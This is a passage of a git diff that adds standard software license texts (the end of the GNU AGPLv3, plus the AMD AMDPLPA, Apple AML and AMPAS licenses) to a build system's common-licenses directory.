+a fashion requiring copyright permission, other than the making of an exact
+copy. The resulting work is called a "modified version" of the earlier work
+or a work "based on" the earlier work.
+
+A "covered work" means either the unmodified Program or a work based on the
+Program.
+
+To "propagate" a work means to do anything with it that, without permission,
+would make you directly or secondarily liable for infringement under applicable
+copyright law, except executing it on a computer or modifying a private copy.
+Propagation includes copying, distribution (with or without modification),
+making available to the public, and in some countries other activities as
+well.
+
+To "convey" a work means any kind of propagation that enables other parties
+to make or receive copies. Mere interaction with a user through a computer
+network, with no transfer of a copy, is not conveying.
+
+An interactive user interface displays "Appropriate Legal Notices" to the
+extent that it includes a convenient and prominently visible feature that
+(1) displays an appropriate copyright notice, and (2) tells the user that
+there is no warranty for the work (except to the extent that warranties are
+provided), that licensees may convey the work under this License, and how
+to view a copy of this License. If the interface presents a list of user commands
+or options, such as a menu, a prominent item in the list meets this criterion.
+
+ 1. Source Code.
+
+The "source code" for a work means the preferred form of the work for making
+modifications to it. "Object code" means any non-source form of a work.
+
+A "Standard Interface" means an interface that either is an official standard
+defined by a recognized standards body, or, in the case of interfaces specified
+for a particular programming language, one that is widely used among developers
+working in that language.
+
+The "System Libraries" of an executable work include anything, other than
+the work as a whole, that (a) is included in the normal form of packaging
+a Major Component, but which is not part of that Major Component, and (b)
+serves only to enable use of the work with that Major Component, or to implement
+a Standard Interface for which an implementation is available to the public
+in source code form. A "Major Component", in this context, means a major essential
+component (kernel, window system, and so on) of the specific operating system
+(if any) on which the executable work runs, or a compiler used to produce
+the work, or an object code interpreter used to run it.
+
+The "Corresponding Source" for a work in object code form means all the source
+code needed to generate, install, and (for an executable work) run the object
+code and to modify the work, including scripts to control those activities.
+However, it does not include the work's System Libraries, or general-purpose
+tools or generally available free programs which are used unmodified in performing
+those activities but which are not part of the work. For example, Corresponding
+Source includes interface definition files associated with source files for
+the work, and the source code for shared libraries and dynamically linked
+subprograms that the work is specifically designed to require, such as by
+intimate data communication or control flow between those
+
+ subprograms and other parts of the work.
+
+The Corresponding Source need not include anything that users can regenerate
+automatically from other parts of the Corresponding Source.
+
+ The Corresponding Source for a work in source code form is that same work.
+
+ 2. Basic Permissions.
+
+All rights granted under this License are granted for the term of copyright
+on the Program, and are irrevocable provided the stated conditions are met.
+This License explicitly affirms your unlimited permission to run the unmodified
+Program. The output from running a covered work is covered by this License
+only if the output, given its content, constitutes a covered work. This License
+acknowledges your rights of fair use or other equivalent, as provided by copyright
+law.
+
+You may make, run and propagate covered works that you do not convey, without
+conditions so long as your license otherwise remains in force. You may convey
+covered works to others for the sole purpose of having them make modifications
+exclusively for you, or provide you with facilities for running those works,
+provided that you comply with the terms of this License in conveying all material
+for which you do not control copyright. Those thus making or running the covered
+works for you must do so exclusively on your behalf, under your direction
+and control, on terms that prohibit them from making any copies of your copyrighted
+material outside their relationship with you.
+
+Conveying under any other circumstances is permitted solely under the conditions
+stated below. Sublicensing is not allowed; section 10 makes it unnecessary.
+
+ 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
+
+No covered work shall be deemed part of an effective technological measure
+under any applicable law fulfilling obligations under article 11 of the WIPO
+copyright treaty adopted on 20 December 1996, or similar laws prohibiting
+or restricting circumvention of such measures.
+
+When you convey a covered work, you waive any legal power to forbid circumvention
+of technological measures to the extent such circumvention is effected by
+exercising rights under this License with respect to the covered work, and
+you disclaim any intention to limit operation or modification of the work
+as a means of enforcing, against the work's users, your or third parties'
+legal rights to forbid circumvention of technological measures.
+
+ 4. Conveying Verbatim Copies.
+
+You may convey verbatim copies of the Program's source code as you receive
+it, in any medium, provided that you conspicuously and appropriately publish
+on each copy an appropriate copyright notice; keep intact all notices stating
+that this License and any non-permissive terms added in accord with section
+7 apply to the code; keep intact all notices of the absence of any warranty;
+and give all recipients a copy of this License along with the Program.
+
+You may charge any price or no price for each copy that you convey, and you
+may offer support or warranty protection for a fee.
+
+ 5. Conveying Modified Source Versions.
+
+You may convey a work based on the Program, or the modifications to produce
+it from the Program, in the form of source code under the terms of section
+4, provided that you also meet all of these conditions:
+
+a) The work must carry prominent notices stating that you modified it, and
+giving a relevant date.
+
+b) The work must carry prominent notices stating that it is released under
+this License and any conditions added under section 7. This requirement modifies
+the requirement in section 4 to "keep intact all notices".
+
+c) You must license the entire work, as a whole, under this License to anyone
+who comes into possession of a copy. This License will therefore apply, along
+with any applicable section 7 additional terms, to the whole of the work,
+and all its parts, regardless of how they are packaged. This License gives
+no permission to license the work in any other way, but it does not invalidate
+such permission if you have separately received it.
+
+d) If the work has interactive user interfaces, each must display Appropriate
+Legal Notices; however, if the Program has interactive interfaces that do
+not display Appropriate Legal Notices, your work need not make them do so.
+
+A compilation of a covered work with other separate and independent works,
+which are not by their nature extensions of the covered work, and which are
+not combined with it such as to form a larger program, in or on a volume of
+a storage or distribution medium, is called an "aggregate" if the compilation
+and its resulting copyright are not used to limit the access or legal rights
+of the compilation's users beyond what the individual works permit. Inclusion
+of a covered work in an aggregate does not cause this License to apply to
+the other parts of the aggregate.
+
+ 6. Conveying Non-Source Forms.
+
+You may convey a covered work in object code form under the terms of sections
+4 and 5, provided that you also convey the machine-readable Corresponding
+Source under the terms of this License, in one of these ways:
+
+a) Convey the object code in, or embodied in, a physical product (including
+a physical distribution medium), accompanied by the Corresponding Source fixed
+on a durable physical medium customarily used for software interchange.
+
+b) Convey the object code in, or embodied in, a physical product (including
+a physical distribution medium), accompanied by a written offer, valid for
+at least three years and valid for as long as you offer spare parts or customer
+support for that product model, to give anyone who possesses the object code
+either (1) a copy of the Corresponding Source for all the software in the
+product that is covered by this License, on a durable physical medium customarily
+used for software interchange, for a price no more than your reasonable cost
+of physically performing this conveying of source, or (2) access to copy the
+Corresponding Source from a network server at no charge.
+
+c) Convey individual copies of the object code with a copy of the written
+offer to provide the Corresponding Source. This alternative is allowed only
+occasionally and noncommercially, and only if you received the object code
+with such an offer, in accord with subsection 6b.
+
+d) Convey the object code by offering access from a designated place (gratis
+or for a charge), and offer equivalent access to the Corresponding Source
+in the same way through the same place at no further charge. You need not
+require recipients to copy the Corresponding Source along with the object
+code. If the place to copy the object code is a network server, the Corresponding
+Source may be on a different server (operated by you or a third party) that
+supports equivalent copying facilities, provided you maintain clear directions
+next to the object code saying where to find the Corresponding Source. Regardless
+of what server hosts the Corresponding Source, you remain obligated to ensure
+that it is available for as long as needed to satisfy these requirements.
+
+e) Convey the object code using peer-to-peer transmission, provided you inform
+other peers where the object code and Corresponding Source of the work are
+being offered to the general public at no charge under subsection 6d.
+
+A separable portion of the object code, whose source code is excluded from
+the Corresponding Source as a System Library, need not be included in conveying
+the object code work.
+
+A "User Product" is either (1) a "consumer product", which means any tangible
+personal property which is normally used for personal, family, or household
+purposes, or (2) anything designed or sold for incorporation into a dwelling.
+In determining whether a product is a consumer product, doubtful cases shall
+be resolved in favor of coverage. For a particular product received by a particular
+user, "normally used" refers to a typical or common use of that class of product,
+regardless of the status of the particular user or of the way in which the
+particular user actually uses, or expects or is expected to use, the product.
+A product is a consumer product regardless of whether the product has substantial
+commercial, industrial or non-consumer uses, unless such uses represent the
+only significant mode of use of the product.
+
+"Installation Information" for a User Product means any methods, procedures,
+authorization keys, or other information required to install and execute modified
+versions of a covered work in that User Product from a modified version of
+its Corresponding Source. The information must suffice to ensure that the
+continued functioning of the modified object code is in no case prevented
+or interfered with solely because modification has been made.
+
+If you convey an object code work under this section in, or with, or specifically
+for use in, a User Product, and the conveying occurs as part of a transaction
+in which the right of possession and use of the User Product is transferred
+to the recipient in perpetuity or for a fixed term (regardless of how the
+transaction is characterized), the Corresponding Source conveyed under this
+section must be accompanied by the Installation Information. But this requirement
+does not apply if neither you nor any third party retains the ability to install
+modified object code on the User Product (for example, the work has been installed
+in ROM).
+
+The requirement to provide Installation Information does not include a requirement
+to continue to provide support service, warranty, or updates for a work that
+has been modified or installed by the recipient, or for the User Product in
+which it has been modified or installed. Access to a network may be denied
+when the modification itself materially and adversely affects the operation
+of the network or violates the rules and protocols for communication across
+the network.
+
+Corresponding Source conveyed, and Installation Information provided, in accord
+with this section must be in a format that is publicly documented (and with
+an implementation available to the public in source code form), and must require
+no special password or key for unpacking, reading or copying.
+
+ 7. Additional Terms.
+
+"Additional permissions" are terms that supplement the terms of this License
+by making exceptions from one or more of its conditions. Additional permissions
+that are applicable to the entire Program shall be treated as though they
+were included in this License, to the extent that they are valid under applicable
+law. If additional permissions apply only to part of the Program, that part
+may be used separately under those permissions, but the entire Program remains
+governed by this License without regard to the additional permissions.
+
+When you convey a copy of a covered work, you may at your option remove any
+additional permissions from that copy, or from any part of it. (Additional
+permissions may be written to require their own removal in certain cases when
+you modify the work.) You may place additional permissions on material, added
+by you to a covered work, for which you have or can give appropriate copyright
+permission.
+
+Notwithstanding any other provision of this License, for material you add
+to a covered work, you may (if authorized by the copyright holders of that
+material) supplement the terms of this License with terms:
+
+a) Disclaiming warranty or limiting liability differently from the terms of
+sections 15 and 16 of this License; or
+
+b) Requiring preservation of specified reasonable legal notices or author
+attributions in that material or in the Appropriate Legal Notices displayed
+by works containing it; or
+
+c) Prohibiting misrepresentation of the origin of that material, or requiring
+that modified versions of such material be marked in reasonable ways as different
+from the original version; or
+
+d) Limiting the use for publicity purposes of names of licensors or authors
+of the material; or
+
+e) Declining to grant rights under trademark law for use of some trade names,
+trademarks, or service marks; or
+
+f) Requiring indemnification of licensors and authors of that material by
+anyone who conveys the material (or modified versions of it) with contractual
+assumptions of liability to the recipient, for any liability that these contractual
+assumptions directly impose on those licensors and authors.
+
+All other non-permissive additional terms are considered "further restrictions"
+within the meaning of section 10. If the Program as you received it, or any
+part of it, contains a notice stating that it is governed by this License
+along with a term that is a further restriction, you may remove that term.
+If a license document contains a further restriction but permits relicensing
+or conveying under this License, you may add to a covered work material governed
+by the terms of that license document, provided that the further restriction
+does not survive such relicensing or conveying.
+
+If you add terms to a covered work in accord with this section, you must place,
+in the relevant source files, a statement of the additional terms that apply
+to those files, or a notice indicating where to find the applicable terms.
+
+Additional terms, permissive or non-permissive, may be stated in the form
+of a separately written license, or stated as exceptions; the above requirements
+apply either way.
+
+ 8. Termination.
+
+You may not propagate or modify a covered work except as expressly provided
+under this License. Any attempt otherwise to propagate or modify it is void,
+and will automatically terminate your rights under this License (including
+any patent licenses granted under the third paragraph of section 11).
+
+However, if you cease all violation of this License, then your license from
+a particular copyright holder is reinstated (a) provisionally, unless and
+until the copyright holder explicitly and finally terminates your license,
+and (b) permanently, if the copyright holder fails to notify you of the violation
+by some reasonable means prior to 60 days after the cessation.
+
+Moreover, your license from a particular copyright holder is reinstated permanently
+if the copyright holder notifies you of the violation by some reasonable means,
+this is the first time you have received notice of violation of this License
+(for any work) from that copyright holder, and you cure the violation prior
+to 30 days after your receipt of the notice.
+
+Termination of your rights under this section does not terminate the licenses
+of parties who have received copies or rights from you under this License.
+If your rights have been terminated and not permanently reinstated, you do
+not qualify to receive new licenses for the same material under section 10.
+
+ 9. Acceptance Not Required for Having Copies.
+
+You are not required to accept this License in order to receive or run a copy
+of the Program. Ancillary propagation of a covered work occurring solely as
+a consequence of using peer-to-peer transmission to receive a copy likewise
+does not require acceptance. However, nothing other than this License grants
+you permission to propagate or modify any covered work. These actions infringe
+copyright if you do not accept this License. Therefore, by modifying or propagating
+a covered work, you indicate your acceptance of this License to do so.
+
+ 10. Automatic Licensing of Downstream Recipients.
+
+Each time you convey a covered work, the recipient automatically receives
+a license from the original licensors, to run, modify and propagate that work,
+subject to this License. You are not responsible for enforcing compliance
+by third parties with this License.
+
+An "entity transaction" is a transaction transferring control of an organization,
+or substantially all assets of one, or subdividing an organization, or merging
+organizations. If propagation of a covered work results from an entity transaction,
+each party to that transaction who receives a copy of the work also receives
+whatever licenses to the work the party's predecessor in interest had or could
+give under the previous paragraph, plus a right to possession of the Corresponding
+Source of the work from the predecessor in interest, if the predecessor has
+it or can get it with reasonable efforts.
+
+You may not impose any further restrictions on the exercise of the rights
+granted or affirmed under this License. For example, you may not impose a
+license fee, royalty, or other charge for exercise of rights granted under
+this License, and you may not initiate litigation (including a cross-claim
+or counterclaim in a lawsuit) alleging that any patent claim is infringed
+by making, using, selling, offering for sale, or importing the Program or
+any portion of it.
+
+ 11. Patents.
+
+A "contributor" is a copyright holder who authorizes use under this License
+of the Program or a work on which the Program is based. The work thus licensed
+is called the contributor's "contributor version".
+
+A contributor's "essential patent claims" are all patent claims owned or controlled
+by the contributor, whether already acquired or hereafter acquired, that would
+be infringed by some manner, permitted by this License, of making, using,
+or selling its contributor version, but do not include claims that would be
+infringed only as a consequence of further modification of the contributor
+version. For purposes of this definition, "control" includes the right to
+grant patent sublicenses in a manner consistent with the requirements of this
+License.
+
+Each contributor grants you a non-exclusive, worldwide, royalty-free patent
+license under the contributor's essential patent claims, to make, use, sell,
+offer for sale, import and otherwise run, modify and propagate the contents
+of its contributor version.
+
+In the following three paragraphs, a "patent license" is any express agreement
+or commitment, however denominated, not to enforce a patent (such as an express
+permission to practice a patent or covenant not to sue for patent infringement).
+To "grant" such a patent license to a party means to make such an agreement
+or commitment not to enforce a patent against the party.
+
+If you convey a covered work, knowingly relying on a patent license, and the
+Corresponding Source of the work is not available for anyone to copy, free
+of charge and under the terms of this License, through a publicly available
+network server or other readily accessible means, then you must either (1)
+cause the Corresponding Source to be so available, or (2) arrange to deprive
+yourself of the benefit of the patent license for this particular work, or
+(3) arrange, in a manner consistent with the requirements of this License,
+to extend the patent
+
+license to downstream recipients. "Knowingly relying" means you have actual
+knowledge that, but for the patent license, your conveying the covered work
+in a country, or your recipient's use of the covered work in a country, would
+infringe one or more identifiable patents in that country that you have reason
+to believe are valid.
+
+If, pursuant to or in connection with a single transaction or arrangement,
+you convey, or propagate by procuring conveyance of, a covered work, and grant
+a patent license to some of the parties receiving the covered work authorizing
+them to use, propagate, modify or convey a specific copy of the covered work,
+then the patent license you grant is automatically extended to all recipients
+of the covered work and works based on it.
+
+A patent license is "discriminatory" if it does not include within the scope
+of its coverage, prohibits the exercise of, or is conditioned on the non-exercise
+of one or more of the rights that are specifically granted under this License.
+You may not convey a covered work if you are a party to an arrangement with
+a third party that is in the business of distributing software, under which
+you make payment to the third party based on the extent of your activity of
+conveying the work, and under which the third party grants, to any of the
+parties who would receive the covered work from you, a discriminatory patent
+license (a) in connection with copies of the covered work conveyed by you
+(or copies made from those copies), or (b) primarily for and in connection
+with specific products or compilations that contain the covered work, unless
+you entered into that arrangement, or that patent license was granted, prior
+to 28 March 2007.
+
+Nothing in this License shall be construed as excluding or limiting any implied
+license or other defenses to infringement that may otherwise be available
+to you under applicable patent law.
+
+ 12. No Surrender of Others' Freedom.
+
+If conditions are imposed on you (whether by court order, agreement or otherwise)
+that contradict the conditions of this License, they do not excuse you from
+the conditions of this License. If you cannot convey a covered work so as
+to satisfy simultaneously your obligations under this License and any other
+pertinent obligations, then as a consequence you may
+
+not convey it at all. For example, if you agree to terms that obligate you
+to collect a royalty for further conveying from those to whom you convey the
+Program, the only way you could satisfy both those terms and this License
+would be to refrain entirely from conveying the Program.
+
+ 13. Remote Network Interaction; Use with the GNU General Public License.
+
+Notwithstanding any other provision of this License, if you modify the Program,
+your modified version must prominently offer all users interacting with it
+remotely through a computer network (if your version supports such interaction)
+an opportunity to receive the Corresponding Source of your version by providing
+access to the Corresponding Source from a network server at no charge, through
+some standard or customary means of facilitating copying of software. This
+Corresponding Source shall include the Corresponding Source for any work covered
+by version 3 of the GNU General Public License that is incorporated pursuant
+to the following paragraph.
+
+Notwithstanding any other provision of this License, you have permission to
+link or combine any covered work with a work licensed under version 3 of the
+GNU General Public License into a single combined work, and to convey the
+resulting work. The terms of this License will continue to apply to the part
+which is the covered work, but the work with which it is combined will remain
+governed by version 3 of the GNU General Public License.
+
+ 14. Revised Versions of this License.
+
+The Free Software Foundation may publish revised and/or new versions of the
+GNU Affero General Public License from time to time. Such new versions will
+be similar in spirit to the present version, but may differ in detail to address
+new problems or concerns.
+
+Each version is given a distinguishing version number. If the Program specifies
+that a certain numbered version of the GNU Affero General Public License "or
+any later version" applies to it, you have the option of following the terms
+and conditions either of that numbered version or of any later version published
+by the Free Software Foundation. If the Program does not specify a version
+number of the GNU Affero General Public License, you may choose any version
+ever published by the Free Software Foundation.
+
+If the Program specifies that a proxy can decide which future versions of
+the GNU Affero General Public License can be used, that proxy's public statement
+of acceptance of a version permanently authorizes you to choose that version
+for the Program.
+
+Later license versions may give you additional or different permissions. However,
+no additional obligations are imposed on any author or copyright holder as
+a result of your choosing to follow a later version.
+
+ 15. Disclaimer of Warranty.
+
+THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE
+LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR
+OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER
+EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
+OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
+TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM
+PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR
+CORRECTION.
+
+ 16. Limitation of Liability.
+
+IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL
+ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM
+AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL,
+INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO
+USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED
+INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE
+PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER
+PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+
+ 17. Interpretation of Sections 15 and 16.
+
+If the disclaimer of warranty and limitation of liability provided above cannot
+be given local legal effect according to their terms, reviewing courts shall
+apply local law that most closely approximates an absolute waiver of all civil
+liability in connection with the Program, unless a warranty or assumption
+of liability accompanies a copy of the Program in return for a fee. END OF
+TERMS AND CONDITIONS
+
+How to Apply These Terms to Your New Programs
+
+If you develop a new program, and you want it to be of the greatest possible
+use to the public, the best way to achieve this is to make it free software
+which everyone can redistribute and change under these terms.
+
+To do so, attach the following notices to the program. It is safest to attach
+them to the start of each source file to most effectively state the exclusion
+of warranty; and each file should have at least the "copyright" line and a
+pointer to where the full notice is found.
+
+<one line to give the program's name and a brief idea of what it does.>
+
+Copyright (C) <year> <name of author>
+
+This program is free software: you can redistribute it and/or modify it under
+the terms of the GNU Affero General Public License as published by the Free
+Software Foundation, either version 3 of the License, or (at your option)
+any later version.
+
+This program is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more
+details.
+
+You should have received a copy of the GNU Affero General Public License along
+with this program. If not, see <https://www.gnu.org/licenses/>.
+
+Also add information on how to contact you by electronic and paper mail.
+
+If your software can interact with users remotely through a computer network,
+you should also make sure that it provides a way for users to get its source.
+For example, if your program is a web application, its interface could display
+a "Source" link that leads users to an archive of the code. There are many
+ways you could offer source, and different solutions will be better for different
+programs; see section 13 for the specific requirements.
+
+You should also get your employer (if you work as a programmer) or school,
+if any, to sign a "copyright disclaimer" for the program, if necessary. For
+more information on this, and how to apply and follow the GNU AGPL, see <https://www.gnu.org/licenses/>.
diff --git a/meta/files/common-licenses/AMDPLPA b/meta/files/common-licenses/AMDPLPA
new file mode 100644
index 0000000000..a58a8525f8
--- /dev/null
+++ b/meta/files/common-licenses/AMDPLPA
@@ -0,0 +1,20 @@
+Copyright (c) 2006, 2007 Advanced Micro Devices, Inc.
+All rights reserved.
+
+Redistribution and use in any form of this material and any product thereof including software in source or binary forms, along with any related documentation, with or without modification ("this material"), is permitted provided that the following conditions are met:
+
+ Redistributions of source code of any software must retain the above copyright notice and all terms of this license as part of the code.
+
+ Redistributions in binary form of any software must reproduce the above copyright notice and all terms of this license in any related documentation and/or other materials.
+
+ Neither the names nor trademarks of Advanced Micro Devices, Inc. or any copyright holders or contributors may be used to endorse or promote products derived from this material without specific prior written permission.
+
+ Notice about U.S. Government restricted rights: This material is provided with "RESTRICTED RIGHTS." Use, duplication or disclosure by the U.S. Government is subject to the full extent of restrictions set forth in FAR52.227 and DFARS252.227 et seq., or any successor or applicable regulations. Use of this material by the U.S. Government constitutes acknowledgment of the proprietary rights of Advanced Micro Devices, Inc. and any copyright holders and contributors.
+
+ ANY BREACH OF ANY TERM OF THIS LICENSE SHALL RESULT IN THE IMMEDIATE REVOCATION OF ALL RIGHTS TO REDISTRIBUTE, ACCESS OR USE THIS MATERIAL.
+
+THIS MATERIAL IS PROVIDED BY ADVANCED MICRO DEVICES, INC. AND ANY COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" IN ITS CURRENT CONDITION AND WITHOUT ANY REPRESENTATIONS, GUARANTEE, OR WARRANTY OF ANY KIND OR IN ANY WAY RELATED TO SUPPORT, INDEMNITY, ERROR FREE OR UNINTERRUPTED OPERATION, OR THAT IT IS FREE FROM DEFECTS OR VIRUSES. ALL OBLIGATIONS ARE HEREBY DISCLAIMED - WHETHER EXPRESS, IMPLIED, OR STATUTORY - INCLUDING, BUT NOT LIMITED TO, ANY IMPLIED WARRANTIES OF TITLE, MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, ACCURACY, COMPLETENESS, OPERABILITY, QUALITY OF SERVICE, OR NON-INFRINGEMENT. IN NO EVENT SHALL ADVANCED MICRO DEVICES, INC. OR ANY COPYRIGHT HOLDERS OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, PUNITIVE, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, REVENUE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED OR BASED ON ANY THEORY OF LIABILITY ARISING IN ANY WAY RELATED TO THIS MATERIAL, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. THE ENTIRE AND AGGREGATE LIABILITY OF ADVANCED MICRO DEVICES, INC. AND ANY COPYRIGHT HOLDERS AND CONTRIBUTORS SHALL NOT EXCEED TEN DOLLARS (US $10.00). ANYONE REDISTRIBUTING OR ACCESSING OR USING THIS MATERIAL ACCEPTS THIS ALLOCATION OF RISK AND AGREES TO RELEASE ADVANCED MICRO DEVICES, INC. AND ANY COPYRIGHT HOLDERS AND CONTRIBUTORS FROM ANY AND ALL LIABILITIES, OBLIGATIONS, CLAIMS, OR DEMANDS IN EXCESS OF TEN DOLLARS (US $10.00). THE FOREGOING ARE ESSENTIAL TERMS OF THIS LICENSE AND, IF ANY OF THESE TERMS ARE CONSTRUED AS UNENFORCEABLE, FAIL IN ESSENTIAL PURPOSE, OR BECOME VOID OR DETRIMENTAL TO ADVANCED MICRO DEVICES, INC. OR ANY COPYRIGHT HOLDERS OR CONTRIBUTORS FOR ANY REASON, THEN ALL RIGHTS TO REDISTRIBUTE, ACCESS OR USE THIS MATERIAL SHALL TERMINATE IMMEDIATELY. MOREOVER, THE FOREGOING SHALL SURVIVE ANY EXPIRATION OR TERMINATION OF THIS LICENSE OR ANY AGREEMENT OR ACCESS OR USE RELATED TO THIS MATERIAL.
+
+NOTICE IS HEREBY PROVIDED, AND BY REDISTRIBUTING OR ACCESSING OR USING THIS MATERIAL SUCH NOTICE IS ACKNOWLEDGED, THAT THIS MATERIAL MAY BE SUBJECT TO RESTRICTIONS UNDER THE LAWS AND REGULATIONS OF THE UNITED STATES OR OTHER COUNTRIES, WHICH INCLUDE BUT ARE NOT LIMITED TO, U.S. EXPORT CONTROL LAWS SUCH AS THE EXPORT ADMINISTRATION REGULATIONS AND NATIONAL SECURITY CONTROLS AS DEFINED THEREUNDER, AS WELL AS STATE DEPARTMENT CONTROLS UNDER THE U.S. MUNITIONS LIST. THIS MATERIAL MAY NOT BE USED, RELEASED, TRANSFERRED, IMPORTED, EXPORTED AND/OR RE- EXPORTED IN ANY MANNER PROHIBITED UNDER ANY APPLICABLE LAWS, INCLUDING U.S. EXPORT CONTROL LAWS REGARDING SPECIFICALLY DESIGNATED PERSONS, COUNTRIES AND NATIONALS OF COUNTRIES SUBJECT TO NATIONAL SECURITY CONTROLS. MOREOVER, THE FOREGOING SHALL SURVIVE ANY EXPIRATION OR TERMINATION OF ANY LICENSE OR AGREEMENT OR ACCESS OR USE RELATED TO THIS MATERIAL.
+
+This license forms the entire agreement regarding the subject matter hereof and supersedes all proposals and prior discussions and writings between the parties with respect thereto. This license does not affect any ownership, rights, title, or interest in, or relating to, this material. No terms of this license can be modified or waived, and no breach of this license can be excused, unless done so in a writing signed by all affected parties. Each term of this license is separately enforceable. If any term of this license is determined to be or becomes unenforceable or illegal, such term shall be reformed to the minimum extent necessary in order for this license to remain in effect in accordance with its terms as modified by such reformation. This license shall be governed by and construed in accordance with the laws of the State of Texas without regard to rules on conflicts of law of any state or jurisdiction or the United Nations Convention on the International Sale of Goods. All disputes arising out of this license shall be subject to the jurisdiction of the federal and state courts in Austin, Texas, and all defenses are hereby waived concerning personal jurisdiction and venue of these courts.
diff --git a/meta/files/common-licenses/AML b/meta/files/common-licenses/AML
new file mode 100644
index 0000000000..a9d91ffc8e
--- /dev/null
+++ b/meta/files/common-licenses/AML
@@ -0,0 +1,9 @@
+Copyright: Copyright (c) 2006 by Apple Computer, Inc., All Rights Reserved.
+
+IMPORTANT: This Apple software is supplied to you by Apple Computer, Inc. ("Apple") in consideration of your agreement to the following terms, and your use, installation, modification or redistribution of this Apple software constitutes acceptance of these terms. If you do not agree with these terms, please do not use, install, modify or redistribute this Apple software.
+
+In consideration of your agreement to abide by the following terms, and subject to these terms, Apple grants you a personal, non-exclusive license, under Apple's copyrights in this original Apple software (the "Apple Software"), to use, reproduce, modify and redistribute the Apple Software, with or without modifications, in source and/or binary forms; provided that if you redistribute the Apple Software in its entirety and without modifications, you must retain this notice and the following text and disclaimers in all such redistributions of the Apple Software. Neither the name, trademarks, service marks or logos of Apple Computer, Inc. may be used to endorse or promote products derived from the Apple Software without specific prior written permission from Apple. Except as expressly stated in this notice, no other rights or licenses, express or implied, are granted by Apple herein, including but not limited to any patent rights that may be infringed by your derivative works or by other works in which the Apple Software may be incorporated.
+
+The Apple Software is provided by Apple on an "AS IS" basis. APPLE MAKES NO WARRANTIES, EXPRESS OR IMPLIED, INCLUDING WITHOUT LIMITATION THE IMPLIED WARRANTIES OF NON-INFRINGEMENT, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE, REGARDING THE APPLE SOFTWARE OR ITS USE AND OPERATION ALONE OR IN COMBINATION WITH YOUR PRODUCTS.
+
+IN NO EVENT SHALL APPLE BE LIABLE FOR ANY SPECIAL, INDIRECT, INCIDENTAL OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) ARISING IN ANY WAY OUT OF THE USE, REPRODUCTION, MODIFICATION AND/OR DISTRIBUTION OF THE APPLE SOFTWARE, HOWEVER CAUSED AND WHETHER UNDER THEORY OF CONTRACT, TORT (INCLUDING NEGLIGENCE), STRICT LIABILITY OR OTHERWISE, EVEN IF APPLE HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/meta/files/common-licenses/AMPAS b/meta/files/common-licenses/AMPAS
new file mode 100644
index 0000000000..0fc771d755
--- /dev/null
+++ b/meta/files/common-licenses/AMPAS
@@ -0,0 +1,13 @@
+Copyright (c) 2006 Academy of Motion Picture Arts and Sciences ("A.M.P.A.S."). Portions contributed by others as indicated. All rights reserved.
+
+A world-wide, royalty-free, non-exclusive right to distribute, copy, modify, create derivatives, and use, in source and binary forms, is hereby granted, subject to acceptance of this license. Performance of any of the aforementioned acts indicates acceptance to be bound by the following terms and conditions:
+
+ * Redistributions of source code must retain the above copyright notice, this list of conditions and the Disclaimer of Warranty.
+
+ * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the Disclaimer of Warranty in the documentation and/or other materials provided with the distribution.
+
+ * Nothing in this license shall be deemed to grant any rights to trademarks, copyrights, patents, trade secrets or any other intellectual property of A.M.P.A.S. or any contributors, except as expressly stated herein, and neither the name of A.M.P.A.S. nor of any other contributors to this software, may be used to endorse or promote products derived from this software without specific prior written permission of A.M.P.A.S. or contributor, as appropriate.
+
+This license shall be governed by the laws of the State of California, and subject to the jurisdiction of the courts therein.
+
